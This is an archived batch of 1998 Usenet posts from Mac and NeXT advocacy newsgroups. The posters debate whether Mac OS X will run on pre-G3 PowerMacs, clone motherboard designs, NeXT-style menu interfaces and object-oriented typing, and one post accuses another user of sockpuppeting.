> And most of them will run Mac OS/X Server. There ya go.
See above. Using such technicalities doesn't earn Apple the brand
faithfulness they kinda need, esp. when their plans to expand to Intel
side appear to be shelved. Anybody considering buying G3 Macs before
late '99 would be wise to wait until Mac OS X ships just to find out
for real if it really runs on the G3 hardware. And even then the
following '00 update to Mac OS X (v1.1?) might not run on G3's as they
happened to start shipping in '97 and probably should be considered
obsolete in '00, right?
I would normally steer anybody away from Microsoft and PC's, but right
now it would seem like a better deal to get a Windoze PC and see how
the YellowBox for Intel works out. If Apple drops that as well, at
least there will be Linux, Windozes and perhaps even JavaOS for PC's
to choose from; and options to upgrade everything in hardware from the
mainboard up are plentiful and relatively inexpensive. With Apple, '97
vintage buyers are stuck with them supporting or dropping support for
their single-source hardware. G3 Macs won't even run BeOS because
Apple won't let them. With Apple again having full control of their
hardware they can also obsolete it whenever they so desire because
there's no competition to keep them on their toes. They feel they can
afford being arrogant and the user base nevertheless keeps following
and upgrading as told - why should the G3 buyers feel any more secure
with their investments?
> > It's especially annoying since there seems to be no technical reason for
> > not delivering on their promises. Speculation: They simple want to give
> > the clones a final stab in the back and/or sell more G3's.
>
> Supporting pre-G3's would be a massive pain, and *extremely* expensive.
> They want to clean up the architecture, without dragging along the
> old hacks, patches, and workarounds. That would only slow down future
> OS improvements and increase costs down the road.
Apple's Linux, based on the same microkernel Mach 3 as Mac OS X is
supposed to have, already runs on almost all PCI Powermacs ever made,
doesn't it? If I can't have the OS fully QA'ed, just testing the basic
configurations would be welcome.
And thanks to the microkernel architecture of Rhap and Offspring the
G3 support would not be affected by pre-G3 support. No dragging along
of old hacks, patches and workarounds, no "dirty" support for G3's or
later.
> By the time OS/X ships, the pre-G3 Macs will look pretty old. A year
> later, they'll look *really* tired. I don't think it's worthwhile
> for Apple to support hardware that will be so outdated *so* quickly.
Now there's a great marketing slogan for the New Apple. <g> In my
mind's eye I can already picture how Power Macintoshes visibly wrinkle
as I stare at them sitting on store shelves. To borrow from
Churchill's famous speech: "Never before has hardware become so
outdated so quickly".
Question to Jobs: If computer hardware becomes outdated in mere 1-2
years (ready for ever-expanding landfills), where are we going to grow
vegetables in the future?
I'd rather see Apple selling me OS upgrades for at least a few years
than trying to force me to get a new box every other year...
> "... and subpoenas for all." - Ken Starr
Heh heh.
Brgds,
--
taiQ
[this space is intentionally blank]
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 1998 21:15:23 GMT
Organization: I don't think so
Message-ID: <slrn6rclrm.na.jason@jhste1.dyn.ml.org>
References: <35b3f756.0@news.depaul.edu> <B1DA8186-67C8F@206.165.43.17> <joe.ragosta-2207980902130001@wil103.dol.net> <slrn6rc551.8j3.jason@jhste1.dyn.ml.org> <Pine.SOL.3.96.980722145322.12616D-100000@ux9.cso.uiuc.edu>
Pulsar posted the following to comp.sys.mac.advocacy:
>> >> >And, those OS/X fixes would have to be tested, and fixed, and
>> >> >maintained, and re-fixed, and debugged, and regression-tested, etc,
>> >> >as the OS continues to develop, which is an enormous amount of work
>> >> >when multiplied by all the different models.
>> >> Er, how many models are we talking about here?
>> >> There was only one or two licensed motherboard-designs for ALL PCI Macs and
>> >> clones. ALL Macs and clones used those designs. They were tested by Apple
>> >> and officially approved by Apple.
>> >I know of at least 3--Tsunami, Alchemy, and Nitro. In addition, the clone
>> >vendors modified the boards in many cases, sometimes running them at
>> >higher clock speeds, using different graphics chips, different cache
>> >design, and so on.
>> Catalyst, not Nitro.
>Actually, Catalyst and TNT I think.
Which clones were based on TNT? I thought that the "high-end" clones were
all Tsunami-based, while the lower-end ones were either Tanzania, Catalyst
(Power Computing only) or Alchemy (PCC and maybe UMAX?)
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 22 Jul 1998 21:22:39 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6p5l6v$8af@newsb.netnews.att.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6nabot$r2h$4@ns3.vrx.net> < <6p5g8j$bhm$1@news.cs.tu-berlin.de>
Originator: gupta@tlctest
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>
>Our conversation was getting a little fragmented, let me try to
>first sum up what I think/hope the current state is:
>
>You are looking for the minimal subset/essential core of OO.
>You say that 'type', which you define as
>
> a set of operations (pre/post)
> a representation and
> an implementation
>
>is inescapable and that the set of all objects with a certain
>type is a class. As it is inescapable, this 'type' has to
>be part of the essential core of OO.
This is getting to be rather confusing, especially because
"type" and "class" are used differently by different writers.
Picking definitions from the g-of-4 "Design Patterns" book :
Signature (of an operation declared by an object) :
The operation name, the objects the operation takes as
parameters, and the operation's return value.
Interface :
A set of signatures.
Type :
Name used to denote a particular interface (of an object)
Class :
Definition of the implementation of an object. The class
specifies the object's internal data and representation
and defines the operations that the object can perform.
Dynamic binding :
The run-time association of a request to an object and
one of its operations.
***
Then, the set of all objects with a certain type is not a class.
e.g. classes and sub-classes share type.
In C++, to share a type, the classes of the objects involved must
be in the same class inheritance hierarchy (correct or incorrect ?).
Or perhaps more correctly, you can dynamically bind only if the
types are in the same class hierarchy.
In Objective C, to share a type, the classes do not have to be
related by inheritance (correct or incorrect ?).
Thanks,
-arun gupta
Date: Wed, 22 Jul 1998 09:20:02 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-2207980920020001@wil103.dol.net>
References: <35950368.F8A5D7A7@nstar.net> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <JWMs1.1091$E5.6247799@proxye1.san.rr.com> <ericb-2007982116410001@128.84.203.147> <PbVs1.1389$E5.6653879@proxye1.san.rr.com> <andyba-ya02408000R2107981408010001@news>
> In article <PbVs1.1389$E5.6653879@proxye1.san.rr.com>, "Ed Deans."
> <eadeans@san.rr.com> wrote:
>
> > Sure if I
> > create the alias on the volume that contains the original and copy the alias
> > where I want it, I'm OK. Just don't move the original to another volume or
> > you're sunk.
No, I think you're mistaken. The term "sunk" is reserved for naval vessels
using Windows NT.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 22 Jul 1998 09:51:05 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2207980951060001@wil116.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net>
In article <Josh.McKee-2107981853200001@pm3a15.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> You might have a good arguement about the R&D if you could demonstrate
> that R&D would be hurt by Apple including PCI based PowerMac support in OS
> X. I see nothing really challenging that would keep OS X from running on
> this equipment. Rhapsody has not been renamed "OS X Server" and it runs
> on this equipment. Why can't "OS X end user"?
Because Mac OS X client has Carbon and Mac OS X server doesn't.
Or becuase the driver architecture has changed?
Or because the graphics architecture has changed?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 10:09:01 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722100750.22438A-100000@ux8.cso.uiuc.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3b6d$83r$1@camel18.mindspring.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <6p3b6d$83r$1@camel18.mindspring.com>
On 22 Jul 1998, Matthew Cromer wrote:
> In article <6p111m$h87$1@unlnews.unl.edu> Greg Berigan,
> gberigan@cse.unl.edu writes:
> >Failure to honor a promise isn't lying, but it isn't something easily
> >tolerated either.
> >
> >I've stuck with Apple even after purchasing the Apple IIe and Apple
> >IIgs. I bought Mac software before I even had a Mac to run it. When I
> >finally bought one, I got the 7500. I was sold on the PCI bus, PPC
> >processor, and especially the upgradeability.
> >
> >But if upgrading this machine with a G3 processor still won't get me Mac
> >OS X, leaving me out of not only a new OS but also a whole new family of
> >programs which require that environment, I'm not sure if I'll be able to
> >bring myself to buy Apple anymore.
>
> And that 7500 was new in what year? 1995. So, four years later, it
> won't be supported.
>
> Yes, Apple ought to support it, but the machine is four years old.
Yeah, but the 8600 that is based on the same motherboard is still
selling _right_now_ and won't be supported through this decision either.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
Date: Wed, 22 Jul 1998 08:46:39 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: NT Takes Down the Navy, Sleep Well, America...
Message-ID: <stevehix-2207980846390001@ip48.safemail.com>
References: <6p2iih$6k3@bgtnsc03.worldnet.att.net> <6p2kcq$kht$2@supernews.com> <6p2pia$rp2$1@nnrp1.snfc21.pbi.net> <6p406d$bc7$1@supernews.com> <see-below-2207980053080001@dynamic23.pm04.mv.best.com>
Organization: Close to None
In article <see-below-2207980053080001@dynamic23.pm04.mv.best.com>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <6p406d$bc7$1@supernews.com>,
jcr.remove@this.phrase.idiom.com wrote:
>
>
> > And NT was selected by whom, exactly?
>
> Probably Congress...
No, more likely some obscure committee at BuShips.
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 1998 15:59:15 GMT
Organization: University of Washington, Seattle
Message-ID: <6p528j$1158$1@nntp6.u.washington.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <6p3skj$a7i$1@nnrp1.dejanews.com>
NNTP-Posting-User: gwangung
In article <6p3skj$a7i$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca> wrote:
>In article <6p30ts$r04$1@nntp6.u.washington.edu>,
> gwangung@u.washington.edu (R. Tang) wrote:
>
>> Quote it.
>
>You are giving me quite a research project considering that this was said in
>the 1995/1996 time frame and Apple has removed all references to the Copland
>project except those found in the tech notes and press releases from their web
>site.
You made the claim; you should support it.
I did however look though a few old MacWorlds (which can't be searched
>online before 1997) and I found a two references that are somewhat on point:
>
>"Gable notes that one advantage of the new incremental-release plan is that
>many Copland technologies will now run on 68040-based Macs, 680X0 Macs with
>PowerPC upgrade cards, and perhaps even some 030-based Macs. (Under the
>original plan, Copland wouldn't run on any of these.) Now that there is no
>unified mega-release, Apple can decide on a component-by-component basis
>whether a technology will perform on 680X0 Macs."
>
>"But will an upgraded 500-series PowerBook run Copland, Apple's forthcoming
>Power Mac-only operating system? Unlike Apple's and DayStar Digital's PowerPC
>accelerator cards for desk-top Macs, the replacement daughterboard includes a
>true PowerPC ROM. But since the motherboard's input and output circuits are
>still based on a 68040 design, Apple's PowerBook product managers say that
>Copland won't run on upgraded 500-series PowerBooks."
>
>In the first quote, notice how all 68K machines where excluded but no
>PowerMacs where. In the second, Apple said that the upgraded PowerBook
>500-series would not run because of the 68040 I/O circuits. They did not say
>that it was because it was NuBus, used a 603e process and didn't use open
>firmware. None of this amounts to more than circumstantial evidence
This is very weak evidence and can only be seen as support for
your statement under a lot of very generous assumptions.
but I
>remember Apple saying that there next generating operating system would
>support all PowerMacs and I'm sure that others remember the same thing. --
Memory is a funny thing; people tend to reshape memories according
to prejudices.
Again, produce a quote.
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 12:00:23 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722114004.22438H-100000@ux8.cso.uiuc.edu>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
In-Reply-To: <B1DA7956-48FFC@206.165.43.17>
On 21 Jul 1998, Lawson English wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
>
> I am willing to pay $50 MORE for a PCI version of MacOS X than for the G3
> version.
>
> How many are willing to do the same?
>
> Betcha that even if 1 million of us said that we were willing to pay $50
> more, that Apple would still say "no" to a pre-G3 version of MacOS X
> because it's not about expenses, but about control.
I would be willing to pay more.
That shouldn't be an issue though. The _cost_ for Apple to support these
machines is not an issue for multiple reasons not the least of which is
that Apple will most likely get a return that far exceeds the investment
just from sales of the OS to owners of these machines.
Apple does not have to charge more money. Cost is not an issue.
Time might well be. The added time to do everything that Apple is planning
with Mac OS X _and_ write and test support for these machines might
postpone Mac OS X further.
I would be willing to wait a few months for Apple to get a version of
Mac OS X working on older machines.
I still think that some people are overestimating the amount of extra work
it would take to get Mac OS working on these machines. That it would be
extra work there is no question. I simply question the decision that Apple
seems to have made that it isn't worth the extra work.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 22 Jul 1998 10:26:25 -0700
Organization: Graves Associates
Distribution: world
Message-ID: <gmgraves-2207981026250001@sf-usr1-22-150.dialup.slip.net>
References: <gmgraves-1207981502300001@sf-usr1-36-164.dialup.slip.net> <6or25p$2hc$1@nnrp1.dejanews.com> <35B1100A.3842D7E8@nstar.net> <6orju9$960$1@camel29.mindspring.com> <gmgraves-1907981342550001@sf-pm5-7-71.dialup.slip.net> <joe.ragosta-1907982129290001@elk84.dol.net> <gmgraves-2007981208480001@sf-usr1-1-129.dialup.slip.net> <joe.ragosta-2107980816120001@0.0.0.0> <gmgraves-2107981043210001@sf-pm5-14-78.dialup.slip.net> <mcgrane-2107981630190001@cc962257-a.vron1.nj.home.com> <joe.ragosta-2107981716260001@wil81.dol.net>
In article <joe.ragosta-2107981716260001@wil81.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <gmgraves-2107981043210001@sf-pm5-14-78.dialup.slip.net>,
> > gmgraves@slip.net (George Graves) wrote:
> >
> > > In article <joe.ragosta-2107980816120001@0.0.0.0>, joe.ragosta@dol.net
> > > (Joe Ragosta) wrote:
> >
> > > > 2. Third hand rumors in a mud-slinging book aren't generally considered
> > > > reliable sources, anyway.
> > > >
> > > > I'm still waiting for evidence that Sun offered less than the market
> > > > capitalization.
> > >
> > > Read the damn book. Its all in there.
>
> Why should I read the book?
For one thing, it will give you some real insight into the workings
of the company you so blindly follow.
YOU asserted that Apple offered to sell the
> company for less than the market capitalization.
Yes, and in another post I gave you the whens, wheres and therefores
of the deal. I even included the dollar amount that Scott McNealy
was going to pay.
>
> I asked for evidence and YOU searched the book and couldn't find any
> evidence to support your position.
I posted that evidence already. I told you the dates of the meetings,
eho was there, what they decided and the agreed upon price. If that's
not enough, too bad.
>
> If the evidence is there, please provide it. If not, please admit your
> mistake. I'm not going to read the book just because you can't get your
> facts right.
I have my facts right. I have posted them. If YOU want more, read the book,
that's what I meant.
George Graves
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 18:19:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p5ag5$6ol$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <christian.bau-2207981248270001@christian-mac.isltd.insignia.com>
In article <christian.bau-2207981248270001@christian-mac.isltd.insignia.com>,
christian.bau@isltd.insignia.com (Christian Bau) wrote:
> What about a bit of reality check? MacOS X is not here. Nobody knows what
> it will or will not run on. Windows98 is there. And it doesnt run on a
> very significant amount of machines.
1) Avie said that it was unlikely that MacOS X would run on even a subset of
the 604e models. He said that there was almost no chance of it running on the
603e models. He didn't even mention the 601 models. Do you know of a better
source than him?
2) Windows 98 will run on a 486/66 or better. You'd probably need something
better than that to not kill yourself waiting for stuff to happen though.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Hey Mr thorne
Date: Wed, 22 Jul 1998 12:34:39 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2207981234390001@sdn-ar-001casbarp119.dialsprint.net>
Where is your good buddy Anton/ Macsbug/(you?)? I havent seen a post by
him in several days.
After it was shown that you and he both posted within 2 minutes of each
other from the same ip, you claimed it was because you were at your friend
"macsbug"'s house, implying that anton is Macsbug, yet when I went back
through dejanews this macsbug guy (macsbug@hotmail.com, who also posted
from Edwin's isp) signed his name as Edwin?? How do you explain this?
How does it make you feel that even your idol Joe Ragosta is laughing at
how you claim "anton" is a different person, even tho the both of you have
posted from the exact same ip, just 1 or 2 minutes apart, on *SEVERAL*
occasions? Having your idol make fun of you must of REALLY hurt your
feelings.
Ya know, you are making us mac users look REALLY REALLY REALLY pathetic,
so how about you stop this crap?
Or, if you really must persist with your shenanigans, at least dump your
current 2 isp's and start posting from a third dial up isp, and dont use
your real name.
And in the future, if you want to use a different account to post
flamebait, at least make sure you dont post from the same ip that you just
posted a message a couple of minutes ago from your real account.
Oh ps, since you implied anton was macsbug, what is "macsbug's" chicagonet
email address? Hotmail isnt a dial up isp, and it showed him as calling
from chicagonet. Oh, lemme guess, "macsbug"s email address is really
edwin_thorne@chicagonet.net (or whatever your email address is)
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
Date: 22 Jul 1998 14:43:00 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6p4tpk$q56$1@news.tuwien.ac.at>
References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> <6p4f85$h15$1@news.tuwien.ac.at>
<6p4qqf$jvu$1@nnrp02.primenet.com>
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Cc: jjens@primenet.com
In <6p4qqf$jvu$1@nnrp02.primenet.com> John Jensen wrote:
> Really! What does Negroponte do, other than run a computer lab at some
> hick school ... well, it's a research lab ... at MIT ... but other than
> that, you are correct about him being semi-scientific. What would a
> researcher at MIT know about computers!
Accusing someone who works at MIT of being semi-scientific is hanging one's
head out quite a bit, I know[0]. What has slightly annoyed me about
Negroponte in the past is his inclination to ride the publicity wave
associated with hype technologies slightly more than the actual scientific
content would have warranted.
And he was simply wrong about Apple being out-dated technology; Rhapsody (and
subsequently OS X) are amongst the most advanced environments out there. If
he hasn't realised that Apple has moved on from the Pascal toolbox, he should
keep quiet, and if he doesn't understand the new technologies, all the worse
for the guru.
But I suppose my previous posting mainly has to do with being a small
researcher who envies the beautifully coloured plumage of those other birds
out there ;-)
Alexander Wilkie
[0] I hereby repent from this vile heresy.
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 10:19:04 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722101159.22438B-100000@ux8.cso.uiuc.edu>
References: <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981829440001@news>
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In-Reply-To: <andyba-ya02408000R2107981829440001@news>
On Tue, 21 Jul 1998, Andy Bates wrote:
> In article <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > Also, I envision these as being floating windows (as I think NeXT's are).
> > This way documents and such can't cover up the menu. (Just in case this
> > wasn't clear from the mock ups).
>
> In that case, you'll have windows whose close boxes routinely get covered
> up by the floating menu.
What? This makes no sense. You face the same issue with a menu bar except
with the menu bar, it stretches across the entire screen. With this, the
menu (in the horizontal orientation) stretches across only as much space
as needed.
Further since these are fully movable windows, you are not limited to
having the menu sitting at the top left. That is just the most comfortable
position for it for most people.
> And if the menu is positioned Next-style, then
> you'll get an even bigger strip of wasted space, as users stop positioning
> windows along that whole strip under the menu.
That is _exactly_ why there is the toggle button on the menu title to
allow for a vertical arrangement of choices stacked and a horizontal
arrangement of choices next to each other as in the Mac common menu bar.
In an earlier version of the page, I had explicitly pointed this issue out
and used that as a justification for having the toggleable menu
orientations. I'll have to do a major update to the page. There are a
couple more features I want to include into the menu system.
> See, each solution brings up a whole load of other problems.
I have already thought of that issue and addressed it, Andy. This allows
for a better solution than _both_ the Mac OS and NeXT.
> How do you
> know Apple hasn't already considered and rejected your suggestion?
I don't. I also don't know that Apple even really knows about it.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 22 Jul 1998 15:22:35 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6p503r$b1o$1@lwnws01.ne.highway1.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p39n6$654$1@lwnws01.ne.highway1.com> <joe.ragosta-2207980820060001@wil103.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Hmmm. And people say _I_ take computers too seriously.
They certainly don't take what you say seriously. I guess your last plonk,
like much of what you say, was just empty rhetoric.
> The weaknesses in Mac OS are hardly equivalent to consistent and
> severe violations of human rights.
And you merely saying so just proves your point in your mind, I'm sure. The
point is the principle may be applied orthogonally. Just because it doesn't
suit your biased purpose, doesn't mean it aint so.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
Date: 22 Jul 1998 15:34:21 GMT
Organization: Primenet (602)416-7000
Message-ID: <6p50pt$4et$1@nnrp03.primenet.com>
References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> <6p4f85$h15$1@news.tuwien.ac.at> <6p4qqf$jvu$1@nnrp02.primenet.com> <6p4tpk$q56$1@news.tuwien.ac.at>
Alexander Wilkie <wilkie@cg.tuwien.ac.at> wrote:
: Accusing someone who works at MIT of being semi-scientific is hanging
: one's head out quite a bit, I know[0]. What has slightly annoyed me
: about Negroponte in the past is his inclination to ride the publicity
: wave associated with hype technologies slightly more than the actual
: scientific content would have warranted.
Cool, and I'll admit that I've caught that scent of a smooth talker near
Dr. Negroponte myself ... he probably spends too much time talking to
congressmen.
: And he was simply wrong about Apple being out-dated technology; Rhapsody
: (and subsequently OS X) are amongst the most advanced environments out
: there. If he hasn't realised that Apple has moved on from the Pascal
: toolbox, he should keep quiet, and if he doesn't understand the new
: technologies, all the worse for the guru.
I think the current product generation of the Mac is based on the old
Pascal toolbox, and the next (Carbon) as well. I haven't seen the article
yet, but perhaps Negroponte's frustration lies in the advanced stuff being
two generations out?
John
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 22 Jul 1998 10:42:01 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980722103833.22438C-100000@ux8.cso.uiuc.edu>
References: <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <Pine.SOL.3.96.980721160135.19564C-100000@ux7.cso.uiuc.edu> <6p34c1$2g6$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
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In-Reply-To: <6p34c1$2g6$1@lwnws01.ne.highway1.com>
On 21 Jul 1998, John Kheit wrote:
> Pulsar <tokarek@uiuc.edu> wrote:
> > On Tue, 21 Jul 1998, Andy Bates wrote:
> > > Why not just have a partially-transparent menu bar where there are no
> > > menus? That would be a lot simpler (and a lot less cluttered) than your
> > > proposed solution.
> >
> > That is certainly an interesting idea. A semi-trasparent bar would be
> > good, but doesn't address the sub-menu indicator issue (which I'll touch
> > further on below).
>
> I think it's a crap solution.
You're right. I should have said better (than the current Mac OS).
> It doesn't allow people to tear the menu away
> if they like, nor the flexibility to change orientations when that may be
> appropriate for the job at hand. Not allowing people to move the menu is
> just a bad implementation. Sure, 99% of the time you can have it locked into
> the upper left hand corner (for most people), but other people may find
> alternate positions superior; at the very least superior during particular
> work projects.
Yup. That's the reason I'm still pushing this NeXT style flippable menu
thingy that you had first proposed.
In lieu of a major menu system change like the one I propose I would
tolerate a half-assed solution because Apple won't fix glaring UI flaws
for fear of scaring off Mac users. I won't be happy about it though. ;)
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
